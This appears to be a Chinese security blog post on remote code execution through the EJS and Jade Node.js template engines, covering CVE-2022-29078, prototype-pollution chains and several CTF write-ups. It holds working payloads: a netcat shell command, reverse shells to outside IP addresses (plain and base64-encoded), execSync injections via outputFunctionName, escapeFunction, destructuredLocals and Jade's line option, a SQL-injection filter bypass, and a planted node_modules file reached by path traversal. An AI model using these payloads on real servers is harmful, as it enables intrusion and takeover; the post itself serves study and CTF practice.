Featured image of post ejs模板引擎和jade模板引擎实现RCE

ejs模板引擎和jade模板引擎实现RCE

ejs模板引擎和jade模板引擎实现RCE

参考:Ejs模板引擎注入实现RCE-先知社区

EJS是一个javascript模板库,用来从json数据中生成HTML字符串

  • 功能:缓存功能,能够缓存好的HTML模板;
  • <% code %>用来执行javascript代码
  • 安装:
1
$ npm install ejs

基础用法

1
2
3
4
5
6
7
8
9
//1.js
var ejs = require('ejs');
var fs = require('fs');
var data = fs.readFileSync('1.ejs');
var result = ejs.render(data.toString());
console.log(result);//123
//1.ejs
<% var a=123 %>
<% console.log(a); %>

或者

1
2
3
4
5
6
var ejs = require('ejs');
//var fs = require('fs');
//var data = fs.readFileSync('1.ejs');
//var result = ejs.render(data.toString());
var result = ejs.render('<% var a = 123 %><% console.log(a); %>');
console.log(result);

插值语句

1
2
3
4
5
<%= 变量名 %>
 if else 语句
  <% if(条件){ %>
      html代码
   <% } %>

实例

1
2
3
4
5
6
7
8
9
<body>
<% if (state === 'danger') { %>
     <p>危险区域, 请勿进入</p>
<% } else if (state === 'warning') { %>
    <p>警告, 你即将进入危险区域</p>
<% } else { %>
    <p>状态安全</p>
<% } %>
</body>

循环语句

1
2
3
<% arr.foreach((item,index)=>{ %>
       html代码
     <% }) %>

实例

1
2
3
4
5
6
7
8
<body>
<ul>
<% for(var i = 0; i < users.length; i++) { %>
<% var user = users[i]; %>
    <li><%= user %></li>
<% } %>
</ul>
</body>

渲染页面

ejs.compile(str,[option])

编译字符串得到模板函数,参数如下

1
2
3
4
5
6
str需要解析的字符串模板
option配置选项
var template = ejs.compile('<%=123 %>');
var result = template();
console.log(result);
//123

ejs.render(str,data,[option])

直接渲染字符串并生成html,参数如下

1
2
3
4
5
6
str:需要解析的字符串模板
data:数据
option:配置选项
var result = ejs.render('<%=123 %>');
console.log(result);
//123

变量

<%=...%>输出变量,变量若包含 '<' '>' '&'等字符会被转义

1
2
3
4
var ejs = require('ejs');
var result = ejs.render('<%=a%>',{a:'<div>123</div>'});
console.log(result);
//&lt;div&gt;123&lt;/div&gt;

如果不希望变量值的内容被转义,那就这么用<%-... %>输出变量

1
2
3
4
var ejs = require('ejs');
var result = ejs.render('<%-a%>',{a:'<div>123</div>'});
console.log(result);
//<div>123</div>

注释

<%# some comments %>来注释,不执行不输出

文件包含

include可以引用绝对路径或相对路径的模板文件

1
2
3
4
5
6
7
8
//test.ejs
<% var a = 123 %>
<% console.log(a); %>
//test.js
var ejs = require('ejs');
var result = ejs.render('<% include test.ejs %>');
//throw new Error('`include` use relative path requires the \'filename\' option.');
console.log(result);

由上面的提示可知,使用相对路径时,必须设置'filename'选项

1
2
3
4
5
6
7
8
//test.ejs
<% var a = 123 %>
<% console.log(a); %>
//test.js
var ejs = require('ejs');
var result = ejs.render('<% include test.ejs %>',{filename:'test.ejs'});
console.log(result);
//123

CVE-2022-29078

SSTI分析

NodeJS 的 EJS(嵌入式 JavaScript 模板)版本 3.1.6 或更早版本中存在 SSTI(服务器端模板注入)漏洞。

该漏洞settings[view options][outputFunctionName]在EJS渲染成HTML时,用浅拷贝覆盖值,最后插入OS Command导致RCE。

复现

环境

1
2
npm install ejs@3.1.6
npm install express

app.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
const express = require('express');
const app = express();
const PORT = 3000;
app.set('views', __dirname);
app.set('view engine', 'ejs');

app.get('/', (req, res) => {
    res.render('index', req.query);
});

app.listen(PORT, ()=> {
    console.log(`Server is running on ${PORT}`);
});

index.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<html>
    <head>
        <title>Lab CVE-2022-29078</title>
    </head>

    <body>
        <h2>CVE-2022-29078</h2>
        <%= test %>
    </body>
</html>

漏洞代码

我们查看 Node_Modules 的 ejs/lib/ejs.js 文件,我们可以看到以下代码部分。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
/**
 * Render an EJS file at the given `path` and callback `cb(err, str)`.
 *
 * If you would like to include options but not data, you need to explicitly
 * call this function with `data` being an empty object or `null`.
 *
 * @param {String}             path     path to the EJS file
 * @param {Object}            [data={}] template data
 * @param {Options}           [opts={}] compilation and rendering options
 * @param {RenderFileCallback} cb callback
 * @public
 */

exports.renderFile = function () {
  var args = Array.prototype.slice.call(arguments);
  var filename = args.shift();
  var cb;
  var opts = {filename: filename};
  var data;
  var viewOpts;

  // Do we have a callback?
  if (typeof arguments[arguments.length - 1] == 'function') {
    cb = args.pop();
  }
  // Do we have data/opts?
  if (args.length) {
    // Should always have data obj
    data = args.shift();
    // Normal passed opts (data obj + opts obj)
    if (args.length) {
      // Use shallowCopy so we don't pollute passed in opts obj with new vals
      utils.shallowCopy(opts, args.pop());
    }
    // Special casing for Express (settings + opts-in-data)
    else {
      // Express 3 and 4
      if (data.settings) {
        // Pull a few things from known locations
        if (data.settings.views) {
          opts.views = data.settings.views;
        }
        if (data.settings['view cache']) {
          opts.cache = true;
        }
        // Undocumented after Express 2, but still usable, esp. for
        // items that are unsafe to be passed along with data, like `root`
        viewOpts = data.settings['view options'];
        if (viewOpts) {
          utils.shallowCopy(opts, viewOpts);
        }
      }
      // Express 2 and lower, values set in app.locals, or people who just
      // want to pass options in their data. NOTE: These values will override
      // anything previously set in settings  or settings['view options']
      utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
    }
    opts.filename = filename;
  }
  else {
    data = {};
  }

  return tryHandleCache(opts, data, cb);
};

关键在这里

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
...
if (args.length) {
    // Should always have data obj
    data = args.shift();
    // Normal passed opts (data obj + opts obj)
    if (args.length) {
      // Use shallowCopy so we don't pollute passed in opts obj with new vals
      utils.shallowCopy(opts, args.pop());
    }
...

data=args.shift()可以查看是否输入了该值curl "127.0.0.1:3000?test=AAAA",如果发送curl请求,通过debug试一下,data可以检查用户输入的参数test和值是否在里面输入。AAAA

1
2
settings:
test:'AAAA'

接下来这一段

1
2
3
4
5
6
...
viewOpts = data.settings['view options'];
    if (viewOpts) {
        utils.shallowCopy(opts, viewOpts);
    }
...

因为这个位置data是test传入的内容,所以data我们间接可控,所以我们可以强行插入setting['view options']来设置

  • curl "127.0.0.1:3000?test=AAAA&settings\[view%20options\]\[A\]=BBBB"
1
2
settings:
view options:{A:BBBB}

跟进shallowCopy函数

1
2
3
4
5
6
7
exports.shallowCopy = function (to, from) {
  from = from || {};
  for (var p in from) {
    to[p] = from[p];
  }
  return to;
};

取出第二个输入自变量的元素,并将使用该元素的数组的值存储在具有与第一个自变量相同的元素的数组中,有点像merge函数。这里面的两个参数to就是opts,from就是我们能够控制的viewOpts,这让就将viewOpts里面的A:BBBB给了opts

用户可以操纵第一个参数。调用的变量在本文中opts作为第一个参数传递,opts稍后在以下函数中使用该变量。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
if (!this.source) {
      this.generateSource();
      prepended +=
        '  var __output = "";\n' +
        '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      if (opts.destructuredLocals && opts.destructuredLocals.length) {
...

从代码中可以看出,optsoutputFunctionName的元素值取出prepended并放入 中,对应的值后面作为连接其他值的代码执行。由于用户opts可以操纵 ,outputFunctionName所以值也可以被调制,并且可以通过 RCE 生成想要的值。

curl "127.0.0.1:3000?test=AAAA&settings\[view%20options\]\[outputFunctionName\]=x;console.log('Hacked');x"

POC

1
curl "127.0.0.1:3000?test=AAAA&settings\[view%20options\]\[outputFunctionName\]=x;process.mainModule.require('child_process').execSync('nc%20127.0.0.1%208862%20-e%20sh');x"

原型链污染分析方式

Ejs.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var express = require('express');
var lodash = require('lodash');
var ejs = require('ejs');

var app = express();
//设置模板的位置与种类
app.set('views', __dirname);
app.set('views engine','ejs');

//对原型进行污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
lodash.merge({}, JSON.parse(malicious_payload));

//进行渲染
app.get('/', function (req, res) {
    res.render ("index.ejs",{
        message: 'Ic4_F1ame'
    });
});

//设置http
var server = app.listen(8000, function () {

    var host = server.address().address
    var port = server.address().port

    console.log("应用实例,访问地址为 http://%s:%s", host, port)
});

index.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title></title>
</head>
<body>

<h1><%= message%></h1>

</body>
</html>

成功弹计算器

分析

  • 在res.render处下断点
  • 进入到response.js,到1039行的app.render函数
1
app.render(view,opts,done)
  • 继续跟进到application.js,到render函数,函数的最后一行tryRender
1
tryRender(view,renderOptions,done)
  • 到同文件application.js中的tryRender函数,调用了view.render(options, callback);
1
2
3
4
5
6
7
8
function tryRender(view,renderOptions,done){
    try{
        view.render(options,callback);
    }
    catch(err){
    callback(err)
    }
}
  • 跟进render函数,到view.js的render函数,这里调用this.engine。
  • 跟进this.engine(this.path, options, callback);,从这里进入到了模板渲染引擎 ejs.js

    1
    
    return tryHandleCache(opt,data,cb);
    

跟进tryHandleCache,调用handleCache方法,传data参数

1
2
3
try{
    result = handleCache(options)=(data);
}

跟进handleCache,调用渲染模板的compile方法

1
func = exports. compile(template,options);

跟进compile方法,调用templ.compile(),这个函数存在大量的渲染拼接,==其中会判断opts.outputFunctionName是否存在,这也是我们为什么要污染outputFunctionName属性的缘故==,判断成功会将outputFunctionName拼接到prepended中。

而prepended 在最后会被传递给 this.source并被带入函数执行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
compile:function(){
……
if(!this.source){
    this.generateSource();
    prepended +=
        ' var __output = "";\n'+
        ' function __append(s) { if (s !== undefined && s !== null) __output +=s }\n';
    if(opts.outputFunctionName){
        prepended += ' var ' + opts.outputFunctionName + ' =__append;' + '\n';
    }
}
}

常用POC

1
2
3
4
5
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.77.200.94/8888 0>&1\"');var __tmp2"}}

[GKCTF 2021]easynode

源码审计

先看/login路由

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
app.post('/login',function(req,res,next){

    let username = req.body.username;
    let password = req.body.password;
    safeQuery(username,password).then(
        result =>{
            if(result[0]){
                const token = generateToken(username)
                res.json({
                    "msg":"yes","token":token
                });
            }
            else{
                res.json(
                    {"msg":"username or password wrong"}
                    );
            }
        }
    ).then(close()).catch(err=>{res.json({"msg":"something wrong!"});});
  })

跟进safeQuery函数,看到waf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
let safeQuery =  async (username,password)=>{

    const waf = (str)=>{
        blacklist = ['\\','\^',')','(','\"','\'']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    }

    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
        if (waf(str[i]) =="*"){
            
            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }
        
    }
    return str;
    }

    username = safeStr(username);
    password = safeStr(password);
    let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
    result = JSON.parse(JSON.stringify(await select(sql)));
    return result;
}

可以发现这里是一个waf,用于防止sql注入中的单双引号闭合:定义了waf对传入的username和password进行遍历然后将黑名单里的东西进行替换,然后再将str进行拼接,将非法字符替换成*然后拼接两边的东西,这个地方对传入的字符串用数组str[i]逐个进行遍历

所以我们可以用数组进行绕过:username[str1,str2,str3]对应的就是:username遍历数组里面的键值,所以我们就可以绕过他的单个遍历,直接让字符串等于*(显然不相等)

但是依然不能够注入到sql语句当中:因为

1
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));

这里substr只能对字符串进行使用,而数组不能够使用,所以没法将其注入到sql语句当中

注意到这个函数

1
2
3
4
5
6
7
8
9
const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
        if (waf(str[i]) =="*"){
            
            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }
        
    }
    return str;
    }

他会将匹配到的恶意字符变成*然后前后拼接,形成一个字符串类型,所以我们只要能够在后面构造出一个非法字符,就可以将数组再次转化为字符串。

本地调试一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
const express = require('express');
const format = require('string-format');
const app = new express();
var extend = require("js-extend").extend
const ejs = require('ejs');
let safeQuery =  async (username,password)=>{

    const waf = (str)=>{
        blacklist = ['\\','\^',')','(','\"','\'']
        blacklist.forEach(element => {
            if (str == element){
                str = "*";
            }
        });
        return str;
    }

    const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
        if (waf(str[i]) =="*"){
            
            str =  str.slice(0, i) + "*" + str.slice(i + 1, str.length);
        }
        
    }
    return str;
    }

    username = safeStr(username);
    password = safeStr(password);
    let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
    result = JSON.parse(JSON.stringify(sql));
    return result;
}
console.log(safeQuery(["admin'#",1,1,1,1,1,')'],"123456"));

image-20250407171405535

所以我们的payload就是

1
username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=(&password=123456

接着看/adminDIV路由

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
app.post("/adminDIV",async(req,res,next) =>{
    const token = req.cookies.token
    
    var data =  JSON.parse(req.body.data)
    
    let result = verifyToken(token);
    if(result !='err'){
        username = result;
        var sql =`select board from board where username = "${username}"`;
        var query = JSON.parse(JSON.stringify(await select(sql).then(close().catch( (err)=>{console.log(err);} )))); 
        
        board = JSON.parse(JSON.stringify(query[0].board));
        for(var key in data){
            var addDIV =`{"${username}":{"${key}":"${(data[key])}"}}`;
            extend({},JSON.parse(addDIV));
        }
        sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`
        select(sql).then(close()).catch( ()=>{res.json({"msg":'DIV ERROR?'});}); 
        res.json({"msg":'addDiv successful!!!'});
    }
    else{
        res.end('nonono');
    }
});

存在键值操作的代码,可能可以原型链污染

这个地方拿取了cookie的值,将post的内容以json形式传递给data,然后调用verifyToken函数验证token的有效性并将结果返回给result,如果验证通过就进入if语句当中,然后将用户名保存在变量username中,构建一个sql查询语句,从board中获取对应用户的数据

1
2
3
4
5
// 调用 select 函数执行 SQL 查询,将结果转换为 JSON 格式
    var query = JSON.parse(JSON.stringify(await select(sql).then(close().catch( (err)=>{console.log(err);} )))); 

    // 从查询结果中获取该用户的布局数据
    board = JSON.parse(JSON.stringify(query[0].board));

我们跟进extend函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
var extend = function(obj) {
    if(typeof obj !== 'object') throw obj + ' is not an object' ;

    var sources = slice.call(arguments, 1); 

    each.call(sources, function(source) {
      if(source) {
        for(var prop in source) {
          if(typeof source[prop] === 'object' && obj[prop]) {
            extend.call(obj, obj[prop], source[prop]);
          } else {
            obj[prop] = source[prop];
          }
        } 
      }
    });

    return obj;
  }

本质上就是merge函数,可以原型链污染

1
2
3
4
 for(var key in data){
            var addDIV =`{"${username}":{"${key}":"${(data[key])}"}}`;
            extend({},JSON.parse(addDIV));
        }

这里我们可以在addAdmin路由添加username为__proto__,然后重新登入拿token,后面用上面的poc就能弹shell了,用post传给data

1
{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.122.53.248/2333 0>&1\"');var __tmp2"}

因为这里是post传参,不是JSON,所以我们要对反弹shell的地方进行base64编码然后再解码,以免出现控制字符的干扰:

1
{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyBcImJhc2ggLWkgPiYgL2Rldi90Y3AvNDcuMTIyLjUzLjI0OC8yMzMzIDA+JjFcIg==|base64 -d|bash');var __tmp2"}

然后再访问/admin路由触发污染,就能弹shell了

这题用反斜杠转义会失败我们换成没反斜杠的(没绷住是base64编码的+号问题,再套一层url编码就行了)

1
{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMjIuNTMuMjQ4LzIzMzMgMD4mMSI=|base64 -d|bash');var __tmp2"}//bash -c "bash -i >& /dev/tcp/47.122.53.248/2333 0>&1"

用url编码一下

1
{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyAiYmFzaCAtaSA%2BJiAvZGV2L3RjcC80Ny4xMjIuNTMuMjQ4LzIzMzMgMD4mMSI%3D|base64 -d|bash');var __tmp2"}

其他链子实现RCE

参考:关于nodejs的ejs和jade模板引擎的原型链污染挖掘-安全KER - 安全资讯平台

1
2
3
4
5
6
7
8
9
var escapeFn = opts.escapeFunction;
var ctor;
...
    if (opts.client) {
    src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
    if (opts.compileDebug) {
        src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
    }
}

同样控制opts里面的escapeFunction就能RCE

POC

1
2
3
{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true}}}

{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}}

添加 "debug":true 污染时可以在调试时候看到自己赋值的命令

在ejs模板还有三个参数可以利用,分别为 opts.localsNameopts.destructuredLocalsopts.filename, 但是这三个无法构建出合适的污染链

有一处调用 localsName, 污染会报错

1
fn = new ctor(opts.localsName + ', escapeFn, include, rethrow', src);

污染 destructuredLocals

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
if (opts.destructuredLocals && opts.destructuredLocals.length) {
        var destructuring = '  var __locals = (' + opts.localsName + ' || {}),\n';
        for (var i = 0; i < opts.destructuredLocals.length; i++) {
          var name = opts.destructuredLocals[i];
          if (i > 0) {
            destructuring += ',\n  ';
          }
          destructuring += name + ' = __locals.' + name;
        }
        prepended += destructuring + ';\n';
      }

作为数组不太好处理

污染 filename 被 JSON.stringify 进行转换了, 无法逃逸出来, 因此也无法污染函数代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
if (opts.compileDebug) {
  src = 'var __line = 1' + '\n'
    + '  , __lines = ' + JSON.stringify(this.templateText) + '\n'
    + '  , __filename = ' + (opts.filename ?
    JSON.stringify(opts.filename) : 'undefined') + ';' + '\n'
    + 'try {' + '\n'
    + this.source
    + '} catch (e) {' + '\n'
    + '  rethrow(e, __lines, __filename, __line, escapeFn);' + '\n'
    + '}' + '\n';
}

但是我发现destructuredLocals其实是可以用的

[ISCTF2024]ezejs

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
const express = require('express');
const app = express();
app.use(express.json());
app.set('view engine', 'ejs');
app.set('env', 'development');
app.set('views', './views');

users={"guest":"123456"}

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }
// 首页展示
app.get('/', (req, res) => {
    res.render('index');
  });
// backdoor
app.post('/UserList',(req,res) => {
    user = req.body
    const blacklist = ['\\u','outputFunctionName','localsName','escape']
    const hacker = JSON.stringify(user)
    for (const pattern of blacklist){
        if(hacker.includes(pattern)){
          res.status(200).json({"message":"hacker!"});
          return 
    } 
}
    copy(users,user);
    res.status(200).json(user);
});

// 启动服务器
app.listen(80, () => {
  console.log(`Server running at http://localhost:80`);
});

同目录下views文件夹下还有index.ejs,我们只需要污染flag写入index.ejs就能在根目录下看到flag

过滤了outputFunctionName和escape,这里就用到前面的destructuredLocals

跟outputFunctionName一样的payload就能污染了

1
{"__proto__":{"destructuredLocals":["_tmp1;global.process.mainModule.require('child_process').execSync('cat /flag >./views/index.ejs');var __tmp2"]}}

jade模板引擎RCE

原型链的污染思路和 ejs 思路很像, 从 require('jade').__express 进入 jade/lib/index.js

1
2
3
4
5
6
exports.__express = function(path, options, fn) {
  if(options.compileDebug == undefined && process.env.NODE_ENV === 'production') {
    options.compileDebug = false;
  }
  exports.renderFile(path, options, fn);
}

跟进 renderFile 函数

1
2
3
4
exports.renderFile = function(path, options, fn){
...
return handleTemplateCache(options)(options);
};

返回的时候进入了 handleTemplateCache 函数, 跟进

会进入 complie 方法, 跟进

jade 模板和 ejs 不同, 在compile之前会有 parse 解析, 尝试控制传入 parse 的语句

在 parse 函数中主要执行了这两步, 最后返回的部分

1
2
3
4
5
6
7
8
9
  var body = ''
    + 'var buf = [];\n'
    + 'var jade_mixins = {};\n'
    + 'var jade_interp;\n'
    + (options.self
      ? 'var self = locals || {};\n' + js
      : addWith('locals || {}', '\n' + js, globals)) + ';'
    + 'return buf.join("");';
  return {body: body, dependencies: parser.dependencies};

options.self 可控, 可以绕过 addWith 函数, 回头跟进 compile 函数, 看看作用

image-20250408132442411

返回的是 buf,跟进 visit 函数,如果 debug 为 true, node.line 就会被 push 进去, 造成拼接 (两个参数)

1
2
jade_debug.unshift(new jade.DebugItem( 0, "" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//
// 注释符注释掉后面的语句

在返回的时候还会经过 visitNode 函数

1
2
visitNode: function(node){
    return this['visit' + node.type](node);}

然后就可以返回 buf 部分进行命令执行

POC

1
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//"}}}

补充: 针对 jade RCE链的污染, 普通的模板可以只需要污染 self 和 line, 但是有继承的模板还需要污染 type

最后文章还贴了个poc生成脚本:[Rickyweb/nodejs/Prototype chain pollution/nodejs.py at main · R1ckyZ/Rickyweb · GitHub](https://github.com/R1ckyZ/Rickyweb/blob/main/nodejs/Prototype chain pollution/nodejs.py),看了眼源码感觉没什么用

[CISCN2024 ezjs]

app.js

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
const express = require('express');
const ejs=require('ejs')
const session = require('express-session');
const bodyParse = require('body-parser');
const multer = require('multer');
const fs = require('fs');

const path = require("path");

function createDirectoriesForFilePath(filePath) {
    const dirname = path.dirname(filePath);

    fs.mkdirSync(dirname, { recursive: true });
}
function IfLogin(req, res, next){
    if (req.session.user!=null){
        next()
    }else {
        res.redirect('/login')
    }
}

const storage = multer.diskStorage({
    destination: function (req, file, cb) {
        cb(null, path.join(__dirname, 'uploads')); // 设置上传文件的目标目录
    },
    filename: function (req, file, cb) {
        // 直接使用原始文件名
        cb(null, file.originalname);
    }
});

// 配置 multer 上传中间件
const upload = multer({
    storage: storage, // 使用自定义存储选项
    fileFilter: (req, file, cb) => {
        const fileExt = path.extname(file.originalname).toLowerCase();
        if (fileExt === '.ejs') {
            // 如果文件后缀为 .ejs,则拒绝上传该文件
            return cb(new Error('Upload of .ejs files is not allowed'), false);
        }
        cb(null, true); // 允许上传其他类型的文件
    }
});

admin={
    "username":"ADMIN",
    "password":"123456"
}
app=express()
app.use(express.static(path.join(__dirname, 'uploads')));
app.use(express.json());
app.use(bodyParse.urlencoded({extended: false}));
app.set('view engine', 'ejs');
app.use(session({
    secret: 'Can_U_hack_me?',
    resave: false,
    saveUninitialized: true,
    cookie: { maxAge: 3600 * 1000 }
}));

app.get('/',(req,res)=>{
    res.redirect('/login')
})

app.get('/login', (req, res) => {
    res.render('login');
});

app.post('/login', (req, res) => {
    const { username, password } = req.body;
    if (username === 'admin'){
        return res.status(400).send('you can not be admin');
    }
    const new_username = username.toUpperCase()

    if (new_username === admin.username && password === admin.password) {
        req.session.user = "ADMIN";
        res.redirect('/rename');
    } else {
        // res.redirect('/login');
    }
});

app.get('/upload', (req, res) => {
    res.render('upload');
});

app.post('/upload', upload.single('fileInput'), (req, res) => {
    if (!req.file) {
        return res.status(400).send('No file uploaded');
    }
    const fileExt = path.extname(req.file.originalname).toLowerCase();

    if (fileExt === '.ejs') {
        return res.status(400).send('Upload of .ejs files is not allowed');
    }
    res.send('File uploaded successfully: ' + req.file.originalname);
});

app.get('/render',(req, res) => {
    const { filename } = req.query;

    if (!filename) {
        return res.status(400).send('Filename parameter is required');
    }

    const filePath = path.join(__dirname, 'uploads', filename);

    if (filePath.endsWith('.ejs')) {
        return res.status(400).send('Invalid file type.');
    }

    res.render(filePath);
});

app.get('/rename',IfLogin, (req, res) => {

    if (req.session.user !== 'ADMIN') {
        return res.status(403).send('Access forbidden');
    }

    const { oldPath , newPath } = req.query;
    if (!oldPath || !newPath) {
        return res.status(400).send('Missing oldPath or newPath');
    }
    if (newPath && /app\.js|\\|\.ejs/i.test(newPath)) {
        return res.status(400).send('Invalid file name');
    }
    if (oldPath && /\.\.|flag/i.test(oldPath)) {
        return res.status(400).send('Invalid file name');
    }
    const new_file = newPath.toLowerCase();

    const oldFilePath = path.join(__dirname, 'uploads', oldPath);
    const newFilePath = path.join(__dirname, 'uploads', new_file);

    if (newFilePath.endsWith('.ejs')){
        return res.status(400).send('Invalid file type.');
    }
    if (!oldPath) {
        return res.status(400).send('oldPath parameter is required');
    }

    if (!fs.existsSync(oldFilePath)) {
        return res.status(404).send('Old file not found');
    }

    if (fs.existsSync(newFilePath)) {
        return res.status(409).send('New file path already exists');
    }
    createDirectoriesForFilePath(newFilePath)
    fs.rename(oldFilePath, newFilePath, (err) => {
        if (err) {
            console.error('Error renaming file:', err);
            return res.status(500).send('Error renaming file');
        }

        res.send('File renamed successfully');
    });
});

app.listen('3000', () => {
    console.log(`http://localhost:3000`)
})

参考这篇:谈Express engine处理引擎的一个trick-先知社区

先上传index.js

1
2
3
exports.__express = function () {
    console.log(require('child_process').execSync("ls />/app/upload/1.ejs").toString());
}

然后/rename路由有目录穿越

1
/rename?oldPath=index.js&newPath=../node_modules/ttt/index.js

接下来上传1.ttt,接下来render路由渲染1.ttt再渲染1.ejs

1
render?filename=1

就能带出回显

使用 Hugo 构建
主题 StackJimmy 设计